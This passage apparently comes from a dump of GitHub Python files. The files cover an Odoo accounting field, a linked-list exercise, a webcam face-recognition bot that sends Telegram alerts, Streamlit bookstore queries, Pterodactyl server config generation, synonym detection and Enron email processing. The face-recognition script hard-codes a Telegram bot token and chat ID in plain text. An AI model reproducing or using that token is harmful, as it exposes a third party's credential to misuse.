MoveLine(models.Model):\n _inherit = 'account.move.line'\n\n @api.multi\n @api.depends('move_id.line_ids')\n def _compute_counterpart_accounts(self):\n for line in self:\n line.counterpart_account_ids = line.move_id.mapped(\n 'line_ids.account_id'\n ).filtered(lambda account: account != line.account_id)\n\n def _search_counterpart_accounts(self, operator, value):\n # XXX: This will search in any of the accounts (included the line's\n # account). This is because I can't express the predicate of being\n # not equal to the line's account_id.\n return [('move_id.line_ids.account_id', operator, value)]\n\n counterpart_account_ids = fields.Many2many(\n 'account.account',\n string='Counterpart accounts',\n compute=_compute_counterpart_accounts,\n search=_search_counterpart_accounts,\n )\n","repo_name":"merchise/xopgi.account","sub_path":"xopgi/xopgi_account/counterpart.py","file_name":"counterpart.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22854316960","text":"class ListNode:\n def __init__(self, x):\n self.val = x\n self.next = None\n\n\ndef reverseList(head: ListNode) -> ListNode:\n if head==None:\n return None\n post = ListNode(head.val)\n head = head.next\n while(head!=None):\n pre = ListNode(head.val)\n pre.next = post\n post = pre\n head = head.next\n return post\n\ndef main():\n l = ListNode(1)\n l.next = ListNode(2)\n l.next.next = ListNode(3)\n t = ListNode(0)\n t = reverseList1(head=l)\n while(t!=None):\n print(t.val)\n t = t.next\n\nif __name__ == '__main__':\n main()","repo_name":"fengjiachen/leetcode","sub_path":"200_249/206. Reverse Linked List.py","file_name":"206. Reverse Linked List.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"22469135853","text":"import os\nimport numpy as np\nimport cv2\nfrom PIL import Image\nfrom google.cloud import storage\n#from pytel import tg\nimport pickle\nimport sys\nimport json\nimport requests\nimport telegram\nimport time\nimport os\n\n#credential_path = '/home/odroid/TA/service.json'\n#os.system('export GOOGLE_APPLICATION_CREDENTIALS=\"/home/odroid/TA/service.json\"')\n\nTOKEN = \"536159039:AAH0o_BLr0CHpSoFABByJCFNCZaGE43XAX4\"\nURL = \"https://api.telegram.org/bot{}/\".format(TOKEN)\n\nbot = telegram.Bot(token='536159039:AAH0o_BLr0CHpSoFABByJCFNCZaGE43XAX4')\n\nclient = storage.Client()\nbucket = client.get_bucket('deep-freehold-213203.appspot.com')\nblob = bucket.get_blob('trainerv2.yml')\nwith open('trainerv2.yml', 'wb') as file_obj:\n\tblob.download_to_file(file_obj)\t\n\n\nface_cascade = cv2.CascadeClassifier('/home/odroid/opencv-3.4.0/data/haarcascades/haarcascade_frontalface_alt2.xml')\n\nrecognizer = cv2.face.LBPHFaceRecognizer_create()\n#colec = cv2.face.MinDistancePredictCollector()\nrecognizer.read(\"trainerv2.yml\")\n\nlabels = {\"persons_name\":0}\nwith open(\"labels.pickle\", \"rb\") as f:\n\tog_labels = pickle.load(f)\n\tlabels = {v:k for k,v in og_labels.items()}\n\t\t\n\t\t\ncap = cv2.VideoCapture(0)\n\ndef get_url(url):\n response = requests.get(url)\n content = response.content.decode(\"utf8\")\n return content\n\n\ndef get_json_from_url(url):\n content = get_url(url)\n js = json.loads(content)\n return js\n\n\ndef get_updates():\n url = URL + \"getUpdates\"\n js = get_json_from_url(url)\n return js\n\n\ndef get_last_chat_id_and_text(updates):\n num_updates = len(updates[\"result\"])\n last_update = num_updates - 1\n text = updates[\"result\"][last_update][\"message\"][\"text\"]\n chat_id = updates[\"result\"][last_update][\"message\"][\"chat\"][\"id\"]\n return (text, chat_id)\n\ndef send_message(text, chat_id):\n url = URL + \"sendMessage?text={}&chat_id={}\".format(text, chat_id)\n get_url(url)\n\nchatid = 482880664\n\n\n\nwhile(True):\n\t#video cap\n\tret, frame = cap.read()\n\tgray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n\tfaces = face_cascade.detectMultiScale(gray, scaleFactor=1.5, minNeighbors=5)\n\ttext, chat = get_last_chat_id_and_text(get_updates())\n\tprint(text)\n\t\n\t\n\tfor (x,y,w,h) in faces:\n\t\t#print(x,y,w,h)\n\t\troi_gray = gray[y:y+h, x:x+w]\n\t\troy_color = frame[y:y+h, x:x+w]\n\t\t\n\t\t#recognize how?\n\t\t\n\t\tid_ , conf = recognizer.predict(roi_gray) #some error, some say cuz its opencv 3.1.0 bug \n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t#solution : up opencv to 3.3 or just use MinDistancePredictCollector(...)\n\t\tif conf>=45 and conf<=80:\n\t\t\t#print(id_)\n\t\t\t#print(labels[id_])\n\t\t\tfont = cv2.FONT_HERSHEY_SIMPLEX\n\t\t\tname = labels[id_]\n\t\t\tcolor = (255,255,255)\n\t\t\tstroke = 2\n\t\t\tcv2.putText(frame,name,(x,y),font,1,color,stroke,cv2.LINE_AA)\n\t\t\t#telegram = tg.Telegram('unix:///tmp/tg.sock') # For Unix Domain Socket\n\t\t\tmsg = name\n\t\t\t#time.sleep(2)\n\t\t\tbot.send_message(chatid , text='ada tamu '+msg)\n\t\t\ttime.sleep(.100)\n\t\telif conf > 80:\n\t\t\tunk = 'unknown'\n\t\t\t#print(unk)\n\t\t\tfont = cv2.FONT_HERSHEY_SIMPLEX\n\t\t\tcolor = (255,255,255)\n\t\t\tstroke = 2\n\t\t\tcv2.putText(frame,unk,(x,y),font,1,color,stroke,cv2.LINE_AA)\n\t\t\t#telegram = tg.Telegram('unix:///tmp/tg.sock') # For Unix Domain Socket\n\t\t\tmsg = 'identitas tak diketahui'\n\t\t\t#time.sleep(2)\n\t\t\tbot.send_message(chatid, text='Ada tamu '+msg)\n\t\t\ttime.sleep(.200)\n\t\t\t\t\t\t\n\t\t\t\n\t\t#img_item = \"my-img.png\"\n\t\t#cv2.imwrite(img_item, roy_color)\n\t\t\n\t\tcolor = (255, 0, 0)\n\t\tstroke = 2\n\t\tend_coord_x = x+w\n\t\tend_coord_y = y+h\n\t\tcv2.rectangle(frame, (x,y), (end_coord_x, end_coord_y), color, stroke)\n\t\t\n\tcv2.imshow('frame',frame)\n\tif cv2.waitKey(20) & 0xFF == ord('q'):\n\t\tbreak\n\n\t\t\ncap.release()\ncv2.destroyAllWindows()\n","repo_name":"reinhart98/TA","sub_path":"mine2.py","file_name":"mine2.py","file_ext":"py","file_size_in_byte":3596,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"19408405272","text":"# Ref: https://pytorch.org/tutorials/intermediate/seq2seq_translation_tutorial.html\nSOS_TOKEN = 0\nEOS_TOKEN = 1\nPAD_TOKEN = 2\nMAX_LENGTH = 10\n\nENGLISH_PREFIXES = (\n \"i am \",\n \"i m \",\n \"he is\",\n \"he s \",\n \"she is\",\n \"she s \",\n \"you are\",\n \"you re \",\n \"we are\",\n \"we re \",\n \"they are\",\n \"they re \",\n)\n","repo_name":"egpivo/nlp-practice","sub_path":"nlp_practice/case/translation/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":335,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"11001235300","text":"import networkx as nx\nimport jieba\nimport codecs\nfrom multiprocessing import Pool, Process, Lock\nimport logging\nimport os\n\nlogger = logging.getLogger(__name__)\nlocal_file = os.path.split(__file__)[-1]\nlogging.basicConfig(\n format='%(asctime)s : %(filename)s : %(funcName)s : %(levelname)s : %(message)s',\n level=logging.INFO)\n\njieba.load_userdict('../input/word.dict')\n\n\ndef split_file(file_line_size):\n logger.info('start to split file...')\n out_path = '../temp/network/spilt/'\n if not os.path.exists(out_path):\n os.mkdir(out_path)\n\n with open('../temp/segment_corpus.txt', encoding='utf8', errors='ignore')as f:\n line_cnt = 0\n line = f.readline()\n temp_line = ''\n file_num = 0\n while line:\n line_cnt += 1\n temp_line += line\n if line_cnt % file_line_size == 0:\n temp_path = out_path + 'split_file_' + str(file_num)\n file_num += 1\n with open(temp_path, 'w', encoding='utf8', errors='ignore')as w_f:\n w_f.write(temp_line)\n temp_line = ''\n line = f.readline()\n logger.info('done!!!')\n\ndef multiprocess_network(path, win_len=3, word2id=None):\n logger.info('multi-process construct semantic network ...... path = {a}'.format(a=path))\n\n p = Pool()\n for rt, dirs, files in os.walk(path):\n for f in files:\n file = os.path.join(path, f)\n logger.info('process file {a}'.format(a=file))\n args = (file, word2id, win_len)\n p.apply_async(generate_network_from_corpus, args=(args, ))\n\n logger.info('wait for all process.....')\n p.close()\n p.join()\n logger.info('done!!!.')\n\n\ndef generate_network_from_corpus(args):\n\n text_path, word2id, win_len = args\n edge_dict = {}\n word_freq_dict = {}\n cnt = 0\n\n with codecs.open(text_path, \"r\", encoding='utf-8', errors='ignore') as f:\n line = f.readline()\n while line:\n cnt += 1\n\n if cnt % 10000 == 0:\n logger.info(\"local process id = {b}, handling the {a} line\".format(a=cnt, b=os.getpid()))\n\n sent_list = list(jieba.cut(line.strip(), cut_all=False))\n\n # Word frequency\n for word in sent_list:\n if word not in word2id:\n continue\n if word not in word_freq_dict:\n word_freq_dict[word] = 0\n word_freq_dict[word] += 1\n\n # Process each line\n for i in range(len(sent_list)):\n # window size [-win_len,+win_len], total 2*win_len+1\n start = max(0, i - win_len)\n end = min(len(sent_list), i + win_len + 1)\n for index in range(start, end):\n if index == i:\n continue\n else:\n score = win_len - abs(index - i) + 1\n node1 = sent_list[index]\n node2 = sent_list[i]\n if node1 in word2id.keys() and node2 in word2id.keys():\n if node1 < node2:\n edge = (node1, node2)\n else:\n edge = (node2, node1)\n\n if edge in edge_dict:\n edge_dict[edge] += score\n else:\n edge_dict[edge] = score\n line = f.readline()\n logger.info(\"start stat word frequency...\".format(a=len(edge_dict)))\n w_f_line = ''\n for (k, v) in word_freq_dict.items():\n w_f_line += k + ',' + str(v) + '\\n'\n\n with open('../temp/word_frequent.txt', 'w', encoding='utf8') as f:\n f.write(w_f_line)\n\n logger.info(\" write network to file，total number of edges = {a} \".format(a=len(edge_dict)))\n line = \"\"\n for (node1, node2) in edge_dict:\n id1 = word2id.get(node1)\n id2 = word2id.get(node2)\n weight = edge_dict.get((node1, node2))\n line += node1 + ',' + node2 + ',' + str(id1) + ',' + str(id2) + ',' + str(weight) + '\\n'\n\n if not os.path.exists('../temp/network/'):\n os.makedirs('../temp/network/')\n with open('../temp/network/co_network.txt', 'w', encoding='utf8') as f:\n f.write(line)\n logger.info(\"done!!!\")\n return edge_dict\n\n\nclass sn_model():\n def __init__(\n self,\n processes=10,\n top_k=15,\n graph_path='../temp/network/co_network.txt',\n input_word_id=None\n ):\n self.processes = processes\n self.top_k = top_k\n self.network = read_network(graph_path)\n self.input_word_id = input_word_id\n self.num_of_nodes = self.network.number_of_nodes()\n self.num_of_edges = self.network.number_of_edges()\n\n logger.info('loaded network file ，totally {a} nodes ，{b} edges'.format(a=self.num_of_nodes, b=self.num_of_edges))\n\n def cal_sim(self, node, G):\n nodes = G.nodes\n if node not in nodes: return\n node_set = set(G.neighbors(node))\n n1_nodes_num = len(node_set)\n sim_dict = {}\n for n in nodes:\n neibor_set = set(G.neighbors(n))\n n2_nodes_num = len(neibor_set) + 1\n inter = node_set & neibor_set\n union = node_set | neibor_set\n\n coef1 = n2_nodes_num * 1.0 / (n2_nodes_num - len(inter) + 1)\n coef2 = n1_nodes_num * 1.0 / (n1_nodes_num - len(inter) + 1)\n jaccord = len(inter) * 1.0 / len(union) * coef1 * coef2\n sim_dict[n] = jaccord\n\n\n sorted_dict = sorted(sim_dict.items(), key=lambda e: e[1], reverse=True)[0:self.top_k]\n sorted_dict = [(G.nodes[k]['name'], v) for k, v in sorted_dict if v > 0.25]\n return sorted_dict\n\n def synonym(self, input_word_id, network, lock, input_word_code_dict, id2word):\n line = ''\n cnt = 0\n for node in input_word_id:\n cnt += 1\n if str(node) not in network.nodes:\n continue\n node_name = id2word[node]\n node_name2 = network.nodes[str(node)]['name']\n if node_name != node_name2:continue\n node_code = input_word_code_dict[node_name]\n logger.info('process id = {b}, handling the {a} input word'.format(a=cnt, b=os.getpid()))\n synonym_dict = self.cal_sim(str(node), network)\n if synonym_dict is not None:\n temp_list = [k for (k, v) in synonym_dict ]\n line += node_code + '\\t' + node_name + '\\t' + '|'.join(temp_list) + '\\n'\n logger.info('process id = {a}, start write file......'.format(a=os.getpid()))\n with lock:\n with open('../output/semantic_network_model_synonym.txt', 'a', encoding='utf8') as f:\n f.write(line)\n\n def synonym_detect(self, input_word_code_dict, id2word):\n import math\n lock = Lock()\n logger.info(' start detect synonym......')\n partition = math.ceil(len(self.input_word_id) / self.processes)\n start, end = 0, partition\n pro_list = []\n word_num = len(self.input_word_id)\n if word_num < self.processes:\n logger.info('error!! the number of process is more than the number of input words')\n return\n for i in range(self.processes):\n if end > word_num: break\n word_id = self.input_word_id[start:end]\n p = Process(target=self.synonym, args=(word_id, self.network, lock, input_word_code_dict, id2word))\n pro_list.append(p)\n p.start()\n start, end = end, min(end + partition, word_num)\n for p in pro_list:\n p.join()\n logger.info('done!!!')\n\n\ndef read_network(graph_file):\n G = nx.Graph()\n with open(graph_file, encoding='utf8') as f:\n line = f.readline()\n while line:\n row = line.split(\",\")\n if len(row) < 5:\n line = f.readline()\n continue\n node1, node2, id1, id2, weight = row[0], row[1], row[2], row[3], float(row[4])\n G.add_weighted_edges_from([(id1, id2, weight)])\n G.nodes[id1]['name'] = node1\n G.nodes[id2]['name'] = node2\n line = f.readline()\n return G\n\ndef synonym_detect(corpus_path, input_word_id, input_word_code_dict, id2word, word2id, win_len, top_k, process_number):\n\n graph_file = '../temp/network/co_network.txt'\n\n if os.path.exists(graph_file):\n os.remove(graph_file)\n out_path = '../output/semantic_network_model_synonym.txt'\n if os.path.exists(out_path):\n os.remove(out_path)\n\n args = (corpus_path, word2id, win_len)\n generate_network_from_corpus(args)\n\n model = sn_model(\n input_word_id=input_word_id,\n processes=process_number,\n graph_path=graph_file,\n top_k=top_k\n )\n model.synonym_detect(input_word_code_dict, id2word)\n\n\nif __name__ == '__main__':\n split_file(file_line_size=100)","repo_name":"tigerchen52/synonym_detection","sub_path":"source/semantic_network_model.py","file_name":"semantic_network_model.py","file_ext":"py","file_size_in_byte":9069,"program_lang":"python","lang":"en","doc_type":"code","stars":228,"dataset":"github-code","pt":"60"} +{"seq_id":"24612753729","text":"from itertools import combinations\nf = lambda x,y: sum(i==j for i,j in zip(x,y))\ndef pos_average(s):\n a = s.split(', ')\n total = 0\n re = 0\n for x,y in combinations(a, 2):\n total += len(x)\n re += f(x,y)\n print(re, total)\n return re / total * 100\n","repo_name":"the-carpnter/codewars_level_6_kata","sub_path":"position_average.py","file_name":"position_average.py","file_ext":"py","file_size_in_byte":277,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"41681815170","text":"\"\"\"\nCopy client addresses from mongo to postgres to redshift, every_10_min\n\"\"\"\nfrom datetime import datetime\nfrom dags.dag_factories import ClientAddressDagFacto\n\n###################################\n# %%% MAGIC COMMENT %%% #\n# Force airflow DAG autodiscovery #\n# from airflow import DAG #\n###################################\n\nDAG_NAME = 'every_10_min_fake_client_address_dag'\n\nfactory = ClientAddressDagFacto(\n dag_name=DAG_NAME,\n schedule_interval='*/10 * * * *',\n start_date=datetime(2021, 1, 30),\n)\n\ndag = factory.make_dag()\n\n# Dag tasks must be setup in global scope\nwith dag:\n factory.setup_operators(dag)\n","repo_name":"stripedpumpkin/asandbox","sub_path":"dags/fake_client_address_dag.py","file_name":"fake_client_address_dag.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"3077337333","text":"import pandas as pd\r\nimport streamlit as st\r\nfrom database import *\r\nfrom create import *\r\n\r\ndef query(inp):\r\n if (inp == \"\"):\r\n st.error(\"Please Enter the Query\")\r\n else:\r\n c.execute(inp)\r\n data = c.fetchall()\r\n st.write(data)\r\n \r\ndef j1():\r\n result = join1()\r\n df = pd.DataFrame(result, columns=['FName'])\r\n with st.sidebar.expander(\"View all Users who has bought atleast 1 book\"):\r\n st.dataframe(df)\r\n\r\ndef j2():\r\n res = join2()\r\n result = view_all_payment_data()\r\n df = pd.DataFrame(result, columns=['PID','Amount','BankName','Card_No','Order_ID'])\r\n with st.expander(\"Payment Data With Updated Data\"):\r\n st.dataframe(df)\r\n \r\ndef j3():\r\n result = join3()\r\n df = pd.DataFrame(result,columns=['User_ID','FName','LName','DOB','Gender','Address','Email_ID'])\r\n with st.expander(\"Retrieve all the female users who has bought atleast 1 book\"):\r\n st.dataframe(df)\r\n \r\ndef j4():\r\n result = join4()\r\n df = pd.DataFrame(result,columns=['FName','LName'])\r\n with st.sidebar.expander(\"Retrieve first and last name of users who have searched a book with price > 400\"):\r\n st.dataframe(df)\r\n \r\ndef agg1():\r\n result = aggr()\r\n df = pd.DataFrame(result,columns=['Author_ID','firstName','lastName','Number_Of_Books'])\r\n with st.expander(\"Find the number of books written by each author.\"):\r\n st.dataframe(df)\r\n \r\ndef set1():\r\n result = set()\r\n df = pd.DataFrame(result,columns=['User_ID','FName','LName'])\r\n with st.sidebar.expander(\"The details of only male users who have searched for books\"):\r\n st.dataframe(df)\r\n \r\ndef p1():\r\n proc()\r\n result = view_all_user_data()\r\n df2 = pd.DataFrame(result,columns=['User ID', 'FName' , 'LName' , 'DOB' ,'Age','Gender','Address' , 'Email_ID'])\r\n with st.expander(\"Updating the Age column in User Table using a stored procedure\"):\r\n st.dataframe(df2)\r\n \r\ndef view1():\r\n result = view()\r\n df = pd.DataFrame(result,columns=['User_ID','FName','LName','DOB','Gender','Address','Email_ID','Book_ID','Order_ID','Number_of_books_bought'])\r\n with st.expander(\"Retrieve the user who bought maximum number of books.Also the display the details of books bought by user\"):\r\n st.dataframe(df)\r\n \r\n\r\ndef trig():\r\n result = view_all_buys_places_data()\r\n df = pd.DataFrame(result, columns=['User_ID','Book_ID','Order_ID','No_Of_Books'])\r\n with st.expander(\"Current Buys_Places Data\"):\r\n st.dataframe(df)\r\n result1 = view_all_books_data()\r\n df = pd.DataFrame(result1, columns=['BookID','Title','Price','Genre','Publisher','Published_Date','A_ID','Availability'])\r\n with st.expander(\"View all Books\"):\r\n st.dataframe(df)\r\n create6()\r\n viw = view_all_buys_places_data()\r\n df = pd.DataFrame(viw, columns=['User_ID','Book_ID','Order_ID','No_Of_Books'])\r\n with st.expander(\"Updated Buys_Places Data\"):\r\n st.dataframe(df)\r\n viw1 = view_all_books_data()\r\n df = pd.DataFrame(viw1, columns=['BookID','Title','Price','Genre','Publisher','Published_Date','A_ID','Availability'])\r\n with st.expander(\"View all Books after updating Availability\"):\r\n st.dataframe(df)\r\n \r\n ","repo_name":"almas-banu/Online-Book-Store-Management","sub_path":"joins.py","file_name":"joins.py","file_ext":"py","file_size_in_byte":3264,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"74759485312","text":"import os,json\nfrom enum import Enum\nfrom sys import exc_info\nfrom traceback import format_exception\n\ndef getEnv(key):\n return os.environ.get(key)\n\nDEBUG = 0\n\nif DEBUG:\n from dotenv import load_dotenv\n load_dotenv()\n\nAPP_NAME = \"Twitter\"\nPKG_NAME = 'com.twitter.android'\nDUMMY_FOLDER = './dummy/'\nZIP_FILE = DUMMY_FOLDER+'app.zip'\n\nEXTRACT_FOLDER = DUMMY_FOLDER+'Extracted/'\nMAIN_FOLDER = DUMMY_FOLDER+'main/'\n\nold_file_name = MAIN_FOLDER+'old_feature_data.json'\nnew_file_name = MAIN_FOLDER+'new_feature_data.json'\nold_file_ipad_name = MAIN_FOLDER+'old_feature_ipad_data.json'\nnew_file_ipad_name = MAIN_FOLDER+'new_feature_ipad_data.json'\nmanifest_file_name = \"manifest.json\"\nNEW_FLAG_LIMIT = 25\n\nUSERNAME = \"Swakshan\"\nREPO_NAME = \"X-Flags\"\nSHA = getEnv('GIT_COMMIT_SHA')\nCHANNEL_ID = getEnv('CHANNEL_ID')\nPIN_MSG = getEnv('PIN_MSG')\nBOT_TOKEN = getEnv('BOT_TOKEN')\n\n\nWEB_LINK = 'https://twitter.com/'\nM_WEB_LINK = 'https://m.twitter.com/'\nTWT_SW_URL = f\"{WEB_LINK}sw.js\"\nAPP_STORE_LINK = \"https://apps.apple.com/in/app/x/id333903271\"\n\nclass Platform(Enum):\n ANDROID = \"android\"\n IOS = \"ios\"\n WEB = \"web\"\n\nclass Releases(Enum):\n ALPHA = \"alpha\"\n BETA = \"beta\"\n STABLE = \"stable\"\n WEB = \"web\"\n\ndef get_exception():\n etype, value, tb = exc_info()\n info, error = format_exception(etype, value, tb)[-2:]\n return f'Exception in: {info}: {error}'\n\ndef printJson(data):\n print(json.dumps(data,indent=4))\n\ndef writeJson(fileName,data):\n f = open(fileName, 'w')\n json.dump(data,f,indent=4)\n f.close()\n\ndef readJson(filename):\n f = open(filename,'r')\n d = json.load(f)\n f.close()\n return d\n\ndef readFile(filename):\n f = open(filename,'r',encoding='utf-8')\n d = f.read()\n f.close()\n return d\n\ndef printLine():\n return \"*--------------*\"\n\ndef commitLinkFormat(flag_data):\n def countFormat(count,ns=\"Flags\"):\n if not count:\n return False\n \n f = ns if count>1 else ns[:-1]\n return f\"{count} {f}\"\n \n msg = \"\"\n for key in flag_data:\n flag_det = flag_data[key]\n ns = key.title().replace(\"_\",\" \")\n for func in flag_det:\n flags = flag_det[func]\n lf = len(flags)\n if func == \"added\" and lf std_qc = RSD * mean_qc / 100\n if key == 'RSD':\n rsd = value\n mean_qc = np.nanmean(xqc)\n std_qc = rsd * mean_qc / 100\n elif key == 'Dratio':\n std_sam = np.nanstd(xs, ddof=1)\n std_qc = value * std_sam / 100\n else:\n raise ValueError('control_limit can only be RSD or Dratio')\n\n # conversion to 'log' based on ratio of true vs. log\n if transform == 'log':\n if key == 'RSD':\n true_val = 100 * np.nanstd(np.power(10, xqc), ddof=1, axis=0) / np.nanmean(np.power(10, xqc), axis=0)\n log_val = 100 * np.nanstd(xqc, ddof=1, axis=0) / np.nanmean(xqc, axis=0)\n else:\n true_val = 100 * np.nanstd(np.power(10, xqc), ddof=1, axis=0) / np.nanstd(np.power(10, xs), ddof=1, axis=0)\n log_val = 100 * np.nanstd(xqc, ddof=1, axis=0) / np.nanstd(xs, ddof=1, axis=0)\n std_qc = std_qc * (log_val / true_val)\n\n # control_limit -> mean +/- 2std\n low = np.nanmean(xqc) - 2 * std_qc\n upp = np.nanmean(xqc) + 2 * std_qc\n\n return low, upp\n","repo_name":"KevinMMendez/qcrsc","sub_path":"qcrsc/control_limits.py","file_name":"control_limits.py","file_ext":"py","file_size_in_byte":1226,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"} +{"seq_id":"10958154949","text":"import os\nimport json\nimport codecs\nimport requests\nfrom dotenv import load_dotenv\nload_dotenv()\n\n\ndef ordered(obj):\n if isinstance(obj, dict):\n return sorted((k, ordered(v)) for k, v in obj.items())\n if isinstance(obj, list):\n return sorted(ordered(x) for x in obj)\n else:\n return obj\n\n\ndef runUpdate():\n url = \"https://\" + os.environ.get(\"PANEL_URL\") + \\\n \"/api/application/servers?include=allocations\"\n key = \"Bearer \" + os.environ.get(\"API_KEY\")\n\n headers = {\"Authorization\": key}\n\n response = requests.request(\"GET\", url, headers=headers)\n\n data = response.json()\n\n total_pages = data[\"meta\"][\"pagination\"][\"total_pages\"]\n current_page = 0\n\n while(current_page < total_pages):\n for i in range(len(data[\"data\"])):\n # Load the dynamic parts into memory\n uuid = data[\"data\"][i][\"attributes\"][\"uuid\"]\n domain = data[\"data\"][i][\"attributes\"][\"name\"]\n ip_port = data[\"data\"][i][\"attributes\"][\"relationships\"][\"allocations\"][\"data\"][0][\"attributes\"][\"ip\"] + \\\n \":\" + str(data[\"data\"][i][\"attributes\"][\"relationships\"]\n [\"allocations\"][\"data\"][0][\"attributes\"][\"port\"])\n sleep_timeout = 0\n try:\n sleep_timeout = data[\"data\"][i][\"attributes\"][\"container\"][\"environment\"][\"SLEEP_TIMEOUT\"]\n except:\n pass\n\n # Introduce the schema and static parts\n file_name = \"configs/\" + uuid + \".json\"\n schema = {\n \"timeout\": 1000,\n \"containerTimeout\": 60000,\n \"disconnectMessage\": \"\\u00A72\\u00A7l{{domain}} \\u00A7r\\u00A76is now starting up!\\n\\u00A78Please come back in 30-45 seconds...\",\n \"offlineStatus\": {\n \"versionName\": \"\\u00A7e▶ \\u00A76\\u00A7lSleeping\",\n \"protocolNumber\": 0,\n \"maxPlayers\": 2,\n \"playersOnline\": 2,\n \"motd\": \" \\u00A7e\\u00A7lThe server is currently sleeping...\",\n \"playerSamples\": [\n {\n \"name\": \"\\u00A7cServer is Sleeping!\",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \"\\u00A77\\u00A7l~~~~~~~~\",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \"You can either start by joining\",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \"the server or by starting it \",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \"through the web panel!\",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \" \",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n },\n {\n \"name\": \"\\u00A7fMade possible by \\u00A7a\\u00A7l\\u00A7oBasilisk Hosting\",\n \"uuid\": \"ec561538-f3fd-461d-aff5-086b22154bce\"\n }\n ]\n },\n \"pterodactyl\": {\n \"ServerUUID\": \"\",\n \"PanelURL\": os.environ.get(\"PANEL_URL\"),\n \"Key\": os.environ.get(\"API_KEY\")\n },\n \"domainName\": \"\",\n \"proxyTo\": \"\"\n }\n\n # Load the data into the schema\n schema[\"pterodactyl\"][\"ServerUUID\"] = uuid\n schema[\"domainName\"] = domain\n schema[\"proxyTo\"] = ip_port\n schema[\"containerTimeout\"] = int(sleep_timeout)\n\n # Check if file is different\n diff = True\n if os.path.isfile(file_name):\n with open(file_name) as f:\n orig = json.load(f)\n if(ordered(orig) == ordered(schema)):\n diff = False\n\n if(diff):\n with open(file_name, 'wb') as f:\n json.dump(schema, codecs.getwriter(\n 'utf-8')(f), ensure_ascii=True)\n current_page += 1\n\n\nif __name__ == \"__main__\":\n import time\n while True:\n runUpdate()\n time.sleep(1)\n\n","repo_name":"callowaysutton/sleepymc","sub_path":"updater.py","file_name":"updater.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"} +{"seq_id":"2733267438","text":"import pandas as pd\r\nimport os\r\nimport string\r\nimport seaborn as sns\r\nimport ast\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.dates as mdates\r\nimport time\r\nimport sys\r\nimport warnings\r\nwarnings.filterwarnings(\"ignore\")\r\n\r\n#datapath = './enron-event-history-all.csv'\r\n\r\ndef readcleanandprocess(datapath):\r\n print(\"Opening, preprocessing and cleaning the data...\")\r\n if os.path.exists(datapath):\r\n df = pd.read_csv(datapath, header=None) # csv has no headers\r\n df.rename(columns={0: 'time', 1: 'message_id', 2:'sender', 3:'recipients',\r\n 4:'topic', 5:'mode'}, inplace=True)\r\n df.drop(['topic', 'mode'], axis = 1, inplace = True) # drop useless columns\r\n df['time'] = pd.to_datetime(df['time'], unit='ms') # convert to datetime\r\n print(\"We only have \"+str(len(df[df.isnull().any(axis=1)])/len(df))+\"% NaN values so we drop those rows\")\r\n df = df.dropna() \r\n return df\r\n else:\r\n print(\"Cannot locate .csv file, make sure it is in the same folder!\")\r\n \r\n \r\ndef calculateTotalPeople(df): # for validation purposes\r\n senderlist = df['sender'].unique()\r\n\r\n df2 = pd.DataFrame()\r\n df2['time'] = df['time'] # df2 will be needed further on\r\n df2['sender'] = df['sender']\r\n df2['recipients'] = df['recipients']\r\n\r\n def stringtolist(recepientstring):\r\n return recepientstring.split(\"|\")\r\n\r\n df2['RecipientList'] = df2.apply(lambda row: stringtolist(row['recipients']), axis=1) # split on '|' to get list\r\n\r\n recipients = df2['RecipientList'].apply(pd.Series).stack() # get all elements from all lists in a list\r\n recipients = recipients.unique() # keep each only once\r\n people = list(set(list(recipients)+list(senderlist))) # convert to set to drop duplicates, then list \r\n people.remove('') # remove the empty string from the data\r\n return df2, people\r\n \r\ndef calculateSenders(df): # calculate how many times each person is a sender\r\n opsdict = {'timesAsSender':'count'} \r\n df['timesAsSender'] = 0\r\n dfsenders = df.groupby('sender').agg(opsdict) \r\n df.drop(['timesAsSender'], inplace=True, axis=1)\r\n return dfsenders\r\n\r\ndef calculateRecipients(df2):\r\n def splitDataFrameList(df,target_column,separator): # explode list of recipients to one per row\r\n row_accumulator = []\r\n def splitListToRows(row, separator):\r\n for s in row[target_column]:\r\n new_row = row.to_dict()\r\n new_row[target_column] = s\r\n row_accumulator.append(new_row)\r\n\r\n df.apply(splitListToRows, axis=1, args = (separator, ))\r\n new_df = pd.DataFrame(row_accumulator)\r\n return new_df\r\n\r\n\r\n df3 = splitDataFrameList(df2, 'RecipientList', ',') # we are going to need this for part3 \r\n df3['timesAsRecipient'] = df3['RecipientList']\r\n\r\n opsdict = {'timesAsRecipient':'count'} \r\n\r\n dfrecipients = df3.groupby('RecipientList').agg(opsdict) \r\n dfrecipients.reset_index(inplace=True)\r\n dfrecipients.rename(columns={'RecipientList': 'recipient'}, inplace=True)\r\n dfrecipients = dfrecipients.iloc[1:] # drop 1st row - it is useless in our case\r\n return dfrecipients, df3\r\n \r\ndef exportToCsv(people, dfsenders, 